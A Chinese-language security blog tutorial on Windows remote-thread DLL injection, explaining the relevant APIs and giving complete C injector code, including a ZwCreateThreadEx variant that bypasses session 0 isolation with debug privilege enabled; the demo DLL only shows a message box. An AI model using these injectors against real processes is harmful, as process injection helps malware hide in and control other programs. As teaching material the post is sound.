技術分享 | DLL注入之遠執行緒注入

廣州錦行科技發表於2021-10-13

0x00 遠執行緒注入

遠執行緒注入是指一個程式在另一個程式中建立執行緒的技術。


0x01 函式介紹

OpenProcess

作用: 開啟現有的本地程式物件。

函式宣告:

HANDLE WINAPI OpenProcess(
    _In_ DWORD dwDesiredAccess,
    _In_ BOOL  bInheritHandle,
    _In_ DWORD dwProcessId
)

引數:
dwDesiredAccess:
想擁有該程式的訪問許可權,若程式啟動了SeDebugPrivilege許可權,則無論安全描述符內容是什麼,都會授予請求的訪問許可權。


bInheritHandle:
若該值為TRUE,則此程式建立的程式將繼承該控制程式碼。


dwProcessId:
本地程式的PID。


返回值:
成功:返回程式開啟控制程式碼
失敗:返回NULL



VirtualAllocEx

作用: 在指定程式的虛擬地址空間內保留、提交或更改記憶體的狀態。

函式宣告:

LPVOID WINAPI VirtualAllocEx(
    _In_     HANDLE hProcess,
    _In_opt_ LPVOID lpAddress,
    _In_     SIZE_T dwSize,
    _In_     DWORD  flAllocationType,
    _In_     DWORD  flProtect
)

引數:
hProcess:
過程的控制程式碼。控制程式碼必須有PROCESS_VM_OPERATION(允許遠端VM操作)許可權。


lpAddress:

指定要分配頁面所需起始地址指標。若為NULL,則自動分配記憶體。


dwSize:
要分配的記憶體大小,單位為位元組。


flAllocationType:
記憶體分配型別。具體引數參考官方手冊。


flProtect:
要分配的頁面區域的記憶體保護。


返回值:
成功:返回分配頁面基址
失敗:返回NULL



WriteProcessMemory

作用: 在指定的程式中將資料寫入記憶體區域,要寫入的整個區域必須可訪問,否則操作失敗。

函式宣告:

BOOL WINAPI WriteProcessMemory(
    _In_  HANDLE  hProcess,
    _In_  LPVOID  lpBaseAddress,
    _In_  LPCVOID lpBuffer,
    _In_  SIZE_T  nSize,
    _Out_ SIZE_T  *lpNumberOfBytesWritten
)

引數:
hProcess:
要修改的程式記憶體的控制程式碼。控制程式碼必須具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION訪問許可權。


lpBaseAddress:
指向指定程式中寫入資料的基地址指標。


lpBuffer:
指向緩衝區的指標,其中包含要寫入指定程式的地址空間中的資料。


nSize:
要寫入指定程式的位元組數。


lpNumberOfBytesWritten:
指向變數的指標,該變數接收傳輸到指定程式的位元組數。


返回值:
成功:返回不為0
失敗:返回0



CreateRemoteThread

作用: 在另一個程式的虛擬地址空間中建立執行的執行緒。

函式宣告:

HANDLE WINAPI CreateRemoteThread(
    _In_  HANDLE                 hProcess,
    _In_  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    _In_  SIZE_T                 dwStackSize,
    _In_  LPTHREAD_START_ROUTINE lpStartAddress,
    _In_  LPVOID                 lpParameter,
    _In_  DWORD                  dwCreationFlags,
    _Out_ LPDWORD                lpThreadId
)

引數:
hProcess:
要建立執行緒的程式控制程式碼。控制程式碼必須具有PROCESS_CREATE_THREAD、RPOCESS_QUERY_INFORMATION、PROCESS_VM_OPERATION、PROCESS_VM_WRITE和PROCESS_VM_READ訪問許可權。


lpThreadAttributes:
指向SECURITY_ATTRIBUTES結構的指標,該結構指定新執行緒的安全描述符,並確定程式是否可以繼承返回的控制程式碼。若為NULL,則執行緒獲取預設的安全描述符,不能繼承該控制程式碼。


dwStackSize:
堆疊的初始大小,以位元組為單位。


lpStartAddress:
指向由執行緒執行型別為LPTHREAD_START_ROUTINE的應用程式定義的函式指標,並表示遠端程式中執行緒的起始地址,該函式必須存在於遠端程式中。


lpParameter:
指向要傳遞給執行緒函式的變數的指標。


dwCreationFlags:
控制執行緒建立的標誌。若為0,表示執行緒在建立後立即執行。


lpThreadId:
指向接收執行緒識別符號的變數的指標。為NULL則不返回執行緒識別符號。


返回值:
成功:返回新執行緒的控制程式碼
失敗:返回NULL


0x02 實現過程

1、獲取LoadLibrary函式的地址,對於kernel32.dll的載入基址在每個程式中都是相同的,所以我們能獲取LoadLibrary函式的地址。
2、呼叫VirtualAllocEx函式向目標程式空間申請一塊記憶體。
3、呼叫WriteProcessMemory函式將指定的DLL路徑寫入到目標程式空間。
4、透過CreateRemoteThread函式載入LoadLibrary函式的地址,進行DLL注入。


0x03 例項程式碼

#include <Windows.h>
#include <stdio.h>

BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, wchar_t *pszDllFileName) {
    HANDLE hProcess = NULL;
    DWORD dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;

    // 開啟注入的程式
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess) {
        printf("Error OpenProcess,%d", GetLastError());
        return FALSE;
    }

    // 在注入程式中申請記憶體
    dwSize = 1 + lstrlen(pszDllFileName);
    pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (pDllAddr == NULL) {
        printf("Error VirtualAllocEx,%d", GetLastError());
        return FALSE;
    }

    // 向申請的記憶體中寫入資料
    if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) {
        printf("Error WriteProcessMemory,%d", GetLastError());
        return FALSE;
    }

    // 獲取LoadLibraryA函式地址
    pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr) {
        printf("Error GetProcAddress,%d", GetLastError());
        return FALSE;
    }

    // CreateRemoteThreadc建立遠端執行緒,實現dll注入
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
    if (NULL == hRemoteThread) {
        printf("Error CreateRemoteThread,%d", GetLastError());
        return FALSE;
    }

    CloseHandle(hProcess);
    return TRUE;
}

int main() {
    wchar_t* dllPath = (wchar_t*)"D:\\Dll1.dll";
    CreateRemoteThreadInjectDll(9956, dllPath);
    return 0;
}

DLL程式碼:
該DLL專案由vs2019生成,注入後自動彈出訊息框

// dllmain.cpp : 定義 DLL 應用程式的入口點。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:{
        MessageBoxA(NULL, "Inject is OK!", "OK", MB_OK);
        break; 
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

技術分享 | DLL注入之遠執行緒注入

0x04 突破session0隔離的遠執行緒注入

這裡使用到一個函式ZwCreateThreadEx,實際上CreateRemoteThread最終是透過呼叫ZwCreateThreadEx實現遠執行緒建立的,ZwCreateThreadEx更為底層。在核心6.0(Windows VISTA、7、8)之後,由於session隔離機制,在建立程式之後是先掛起程式,檢查程式所在的會話層後再決定是否恢復程式。

在CreateRemoteThread函式呼叫ZwCreateThreadEx函式時,由於ZwCreateThreadEx第七個引數為1,會導致執行緒建立後一直處於掛起狀態,因此我們需要設定ZwCreateThreadEx第七個引數為0。

由於在ntdll.dll中,ZwCreateThreadEx並沒有被宣告,因此需要使用GetProcAddress匯出地址


函式宣告:
win64下:

DWORD WINAPI ZwCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown
)


win32下:

DWORD WINAPI ZwCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown
)


例項程式碼:

#include "Windows.h"
#include <stdio.h>

BOOL ZwCreateThreadExInjectDLL(DWORD dwProcessId, const char* pszDllFileName) {
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;

    // 開啟程式
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess) {
        printf("Error OpenProcess:%d", GetLastError());
        return FALSE;
    }

    // 申請記憶體
    dwSize = 1 + ::lstrlen(pszDllFileName);
    pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (pDllAddr == NULL){
        printf("Error VirtualAllocEx:%d", GetLastError());
         return FALSE;
    }

    // 寫入資料
    if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) {
        printf("Error WriteProcessMemory:%d", GetLastError());
        return FALSE;
    }

#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif

    // 載入ntdll.dll
    HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
    if (NULL == hNtdllDll) {
        printf("Error Load 'ntdll.dll':%d", GetLastError());
        return FALSE;
    }

    // 獲取LoadLibraryA函式地址
    pFuncProcAddr = GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr) {
        printf("Error GetProcAddress 'LoadLibraryW':%d", GetLastError());
        return FALSE;
    }

    // 獲取ZwCreateThreadEx函式地址
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx) {
        printf("Error GetProcAddress 'ZwCreateThreadEx':%d", GetLastError());
        return FALSE;
    }

    // 使用ZwCreateThreadEx建立遠執行緒,實現DLL注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread) {
        printf("Error Inject DLL:%u", dwStatus);
        return FALSE;
    }
    CloseHandle(hProcess);
    FreeLibrary(hNtdllDll);

    return TRUE;
}

// OpenProcess開啟高許可權的程式需要提權
BOOL EnbalePrivileges(HANDLE hProcess, const char* pszPrivilegesName)
{
     HANDLE hToken = NULL;
     LUID luidValue = { 0 };
     TOKEN_PRIVILEGES tokenPrivileges = { 0 };
     BOOL bRet = FALSE;
     DWORD dwRet = 0;
     // 開啟程式令牌並獲取程式令牌控制程式碼
     bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
     if (FALSE == bRet)
     {
         printf("OpenProcessToken");
         return FALSE;
     }
     // 獲取本地系統的 pszPrivilegesName 特權的LUID值
     bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
     if (FALSE == bRet){
         printf("LookupPrivilegeValue");
         return FALSE;
     }
     // 設定提升許可權資訊
     tokenPrivileges.PrivilegeCount = 1;
     tokenPrivileges.Privileges[0].Luid = luidValue;
     tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     // 提升程式令牌訪問許可權
     bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
     if (FALSE == bRet){
         printf("AdjustTokenPrivileges");
         return FALSE;
     }
     else{
         // 根據錯誤碼判斷是否特權都設定成功
         dwRet = ::GetLastError();
         if (ERROR_SUCCESS == dwRet){
             printf("SUCCESS!!");
             return TRUE;
         }
         else if (ERROR_NOT_ALL_ASSIGNED == dwRet){
             printf("ERROR_NOT_ALL_ASSIGNED");
             return FALSE;
         }
     }
     return FALSE;
 }


int main() {
    HANDLE hProcess = GetCurrentProcess();
    EnbalePrivileges(hProcess, SE_DEBUG_NAME);

    const char* dllPath = "E:\\Dll1.dll";
    ZwCreateThreadExInjectDLL(2940, dllPath);
    return 0;
}

執行結果:
技術分享 | DLL注入之遠執行緒注入

0x05 踩坑記錄

1、如果注入到x64程式,最好exe、dll都編譯成x64
2、注入dll需要與注入程式的字符集相同,vs2019可以在專案屬性->高階處選擇字符集(被這裡坑了好久,普通session層可以注入,session0注入不了,查了好久,最後一個大佬說字符集要相同,後面將dll、exe字符集改成多字符集註入成功了)


相關文章